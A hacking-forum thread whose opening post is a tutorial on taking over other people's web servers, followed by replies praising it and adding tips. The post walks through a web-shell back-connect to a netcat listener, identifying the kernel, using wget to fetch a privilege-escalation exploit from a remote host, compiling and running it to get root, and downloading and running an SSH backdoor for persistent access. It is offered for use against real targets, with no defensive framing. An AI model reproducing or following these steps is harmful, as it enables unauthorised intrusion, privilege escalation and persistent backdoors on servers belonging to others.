

Forum: [Hack Forums](#)

Thread: [\[HOT\] \[TUT\] SERVER ROOTING/SERVER HACKING \[/HOT\] \[/TUT\]](#)

jingo - December 16, 2011, 1:05 pm

How to Root server... Tutorial by _JingoBD

Special thanks: Ransford Key West
and all anonnyouse friend.

Things you need:

A Shell on a Website

An Exploit

Putty

Ssh Backdoor

Netcat

A Brain

U can search <http://www.google.com/> for more except brain. :p

(*) Getting Back Connection to the servers

Open command prompt, and go to NetCat Path, Type "cd netcat.exe"

ok Open your Shell in your browser, go to the back connection tab, if it is not there get a shell like "GNY" or Any other thats your choice....

I like GNY shell. R57 is good for command.

Specify your "ip & port as 2121". press connect, now you'll get a shell to the server, you can give commands to the server through that shell.

now came back to netcat and type "nc -l -v -p 2121"

it will give you this output:

```
c:\netcat>nc -l -v -p 2121 listening on [any] 2121 ...
```

(*) Getting a Right exploit for the servers

Type : Uname -a & hit enter. It'll look something like this:

```
Code: [admin@www.target.com / home/saijyoti/public_html/ cgi-bin]$ uname -a Linux  
dualxeon09.ns5.999servers.com 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010  
x86_64 x86_64 x86_64 GNU/Linux
```

You have noted, It shows the kernal version of the server is:
2.6.18-194.26.1.el5 & Year is 2010.

You need to find a perfect exploit for it. you can find them at:

\$ Exploit-db.com

\$ Packetstormsecurity.org

\$ Th3-Outl4ws.com

\$ Leetupload.com

after found exploit u need to compiling and excuting.

(*)Compiling & executing exploits

Now I've got a exploit, & it is written in C. So I can't execute it by just uploading. but I need to compile it.

Before proceeding further, Cd into the tmp directory, because it is always writable. So type:

Cd /home/XXXXXX/public_html/tmp

// The path may be different, replace it with yours.

So first I'll get the exploit on the server, So I type :

Wget <http://exploitsite.net/2010-exploits/exploit.c>

// Note: There is no such site, I'm just taking it to show you. It'll look something Like this:-

Code: admin@www.target.com /home/target_usernmr/public_html/tmp]\$ wget

<http://exploitsite.net/2010-exploits/exploit.c>

--2011-01-25 08:21:43--

<http://exploitsite.net/2010-exploits/exploit.c>

Resolving

www.exploitsite.net

... 199.58.192.192

Connecting to www.exploitsite.net | 199.58.192.192|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 15088 (15K) [text/ x-csrc] Saving to: `exploit.c`

now change the permission of the exploit to 777. Type: "Chmod 777 exploit.c"

wow! Now the exploit is On my server, I just need to compile & execute it. So, I'll give the command:

"gcc -o exploit exploit.c"

It'll compile & save the exploit as >> exploit

Next step is to execute it So we'll type: "./exploit"

here it'll show different process...

: #

: #

got root you m0f0 !! [<example]

Now it say got root. Let's Check is it true, Type: "whoami"

then it will say "root"

like: uid=0(root) gid=0(root) groups=0(root)

type "su" to get full privilages ! =))

(*) Installing Backdoors

type:

"Wget <http://www.urlofbackdoor.com/sshdoor.zip>"

Then Type, Unzip Sshdoor.zip

Then, => Cd sshdoor

Then type, ./run pass port ^ replace pass with your password, & a port.

Now connect with putty & enjoy root privileges.... :)
If u like this tutorial, please comment. :)

JingoBD
BANGLADESH CYBER ARMY
<http://facebook.com/groups/bdcyberarmy>

Limboland™ - December 16, 2011, 1:52 pm

Nice TuT

But if there no gcc installed on the server ,then what ????

????

Juggernauten - December 16, 2011, 1:59 pm

You install gcc or another compiler? :D

Ubaste - December 16, 2011, 2:33 pm

Hmm, did you really made this guide? <http://securityaddicts.com/tutorial-on-rooting-linux-boxes/> its look like that tut? Or only me that thinks that. You even use the same terms etc. Even the same server lol. Leeches. Do not take credits for a guide you did not make.

jingo - December 18, 2011, 2:45 pm

(Dec 16, 2011 03:33 PM)ch0pzer Wrote: [\[CITE\]](#) Hmm, did you really made this guide? <http://securityaddicts.com/tutorial-on-rooting-linux-boxes/> its look like that tut? Or only me that thinks that. You even use the same terms etc. Even the same server lol. Leeches. Do not take credits for a guide you did not make.

See. At fist i say

Special thanks: Ransford Key West

Limboland™ - December 19, 2011, 9:05 am

(Dec 16, 2011 02:59 PM)Juggernauten Wrote: [\[CITE\]](#) You install gcc or another compiler? :D
you need root permission to install gcc on the server?

another compiler
wich one ??

kevensavar - December 19, 2011, 9:41 am

really nice tutorial dude, continue like that, it help alot

Careless. - December 19, 2011, 9:59 am

If gcc is not installed, you can compile it on your computer.

lionkidd - January 3, 2012, 5:59 pm

lol some mistakes in tut but still awesome like the syntax of gcc is gcc exploit.c -o exploit
;D there are some of this like setting up listener after shell tries to connect xD
but anyway great share mate

partho22 - April 4, 2012, 5:49 am

thanks a lot bro , nice Tut =))

Uiqueblhats - April 4, 2012, 6:03 am

really nice tutorial dude, continue like that, it help alot

smpt36 - August 2, 2012, 8:27 am

I cant port forward.. I'm on single port modem with single computer...What to do????

ThaHackz - August 2, 2012, 3:00 pm

Nicely done, its a great TuT. I hope I'll see more things from you.

xSystemNightmare - August 2, 2012, 5:39 pm

This seems like a very nice TUT but for some reason I am having a hard time understanding what everything means.

Austerity - August 3, 2012, 2:50 am

Niceeee tut man :) thx 4 shariinn:] .

R391.875 - August 3, 2012, 4:46 am

nice tut brother..bt brother..use ur knowledge for the educational purpose..keep posting like this..expecting more posts from u..

!!LOTS OF LOVE FRM UR INDIAN BROTHER!!

Uiqueblhats - August 14, 2012, 11:10 am

Will bookmark now thx for this tut i would appreciate it